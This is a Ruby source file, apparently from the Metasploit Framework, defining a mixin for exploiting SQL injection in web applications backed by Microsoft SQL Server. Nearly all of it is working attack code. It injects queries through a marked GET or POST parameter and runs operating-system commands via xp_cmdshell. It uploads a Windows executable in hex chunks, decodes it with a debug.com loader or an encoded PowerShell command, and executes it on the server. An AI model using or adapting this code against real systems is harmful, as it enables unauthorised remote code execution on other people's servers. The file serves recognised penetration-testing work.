# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/mssql_commands'

module Msf

###
#
# This module wraps functionality for exploiting SQL injection vulnerabilities
# Some of the functionality has been borrowed from mssql.rb
#
###
module Exploit::Remote::MSSQL_SQLI


  include Msf::Exploit::Remote::HttpClient

  #
  # Creates an instance of a MSSQL exploit module.
  #
  def initialize(info = {})
    super

    # Register the options that all MSSQL exploits may make use of.
    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(80),
        OptString.new('METHOD', [ true, 'GET or POST', 'GET']),
        OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']),
        OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']),
        OptString.new('COOKIE', [ false, 'Cookie value', '']),
      ], Msf::Exploit::Remote::MSSQL_SQLI)
    register_advanced_options(
      [
        OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
          File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
        ])
      ], Msf::Exploit::Remote::MSSQL_SQLI)

    register_autofilter_ports([ 80, 443, 8080 ])
    register_autofilter_services(%W{ http https })
  end


  #
  # Execute a system command via xp_cmdshell
  #
  def mssql_xpcmdshell(cmd,doprint=false,opts={})
    force_enable = false
    begin
      res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
      #mssql_print_reply(res) if doprint

      return res

    rescue RuntimeError => e
      if(e.to_s =~ /xp_cmdshell disabled/)
        force_enable = true
        retry
      end
      raise e
    end
  end


  #
  # Upload and execute a Windows binary through MSSQL queries
  #
  def mssql_upload_exec(exe, debug=false)
    hex = exe.unpack("H*")[0]

    var_bypass  = rand_text_alpha(8)
    var_payload = rand_text_alpha(8)

    print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
    print_status("Writing the debug.com loader to the disk...")
    h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
    h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
    h2b.split(/\n/).each do |line|
      mssql_xpcmdshell("#{line}", false)
    end

    print_status("Converting the debug script to an executable...")
    mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
    mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

    print_status("Uploading the payload, please be patient...")
    idx = 0
    cnt = 500
    while(idx < hex.length - 1)
      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
      idx += cnt
    end

    print_status("Converting the encoded payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

    print_status("Executing the payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10})
  end

  #
  # Upload and execute a Windows binary through MSSQL queries and Powershell
  #
  def powershell_upload_exec(exe, debug=false)

    # hex converter
    hex = exe.unpack("H*")[0]
    # create random alpha 8 character names
    #var_bypass  = rand_text_alpha(8)
    var_payload = rand_text_alpha(8)
    print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
    # our payload converter, grabs a hex file and converts it to binary for us through powershell
    h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
    h2b_unicode=Rex::Text.to_unicode(h2b)
    # base64 encode it, this allows us to perform execution through powershell without registry changes
    h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
    print_status("Uploading the payload #{var_payload}, please be patient...")
    idx = 0
    cnt = 500
    while(idx < hex.length - 1)
      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
      idx += cnt
    end
    print_status("Converting the payload utilizing PowerShell EncodedCommand...")
    mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
    print_status("Executing the payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
    print_status("Be sure to cleanup #{var_payload}.exe...")
  end

  #
  # Issue a SQL query using the SQL injection point
  #
  def mssql_query(sqla, doprint=false)

    if (doprint)
      print_status(sqla)
    end
    if (datastore['METHOD'] == 'GET')

      unless datastore['GET_PATH'].index("[SQLi]")
        fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path")
      end

      uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
      res = send_request_cgi({
        'uri'          => uri,
        'method'       => 'GET',
        'cookie'       => datastore['COOKIE'],
        'headers'      => {
          'Accept'	=> '*/*',
          'User-Agent'	=> 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        }
      }, 5)
    else

      unless datastore['DATA'].index("[SQLi]")
        fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data")
      end

      post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
      uri = datastore['GET_PATH']
      res = send_request_cgi({
        'uri'          => uri,
        'method'       => 'POST',
        'data'         => post_data,
        'cookie'       => datastore['COOKIE'],
        'headers'      => {
          'Accept'	=> '*/*',
          'User-Agent'	=> 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        }
      }, 5)
    end

  end

end
end
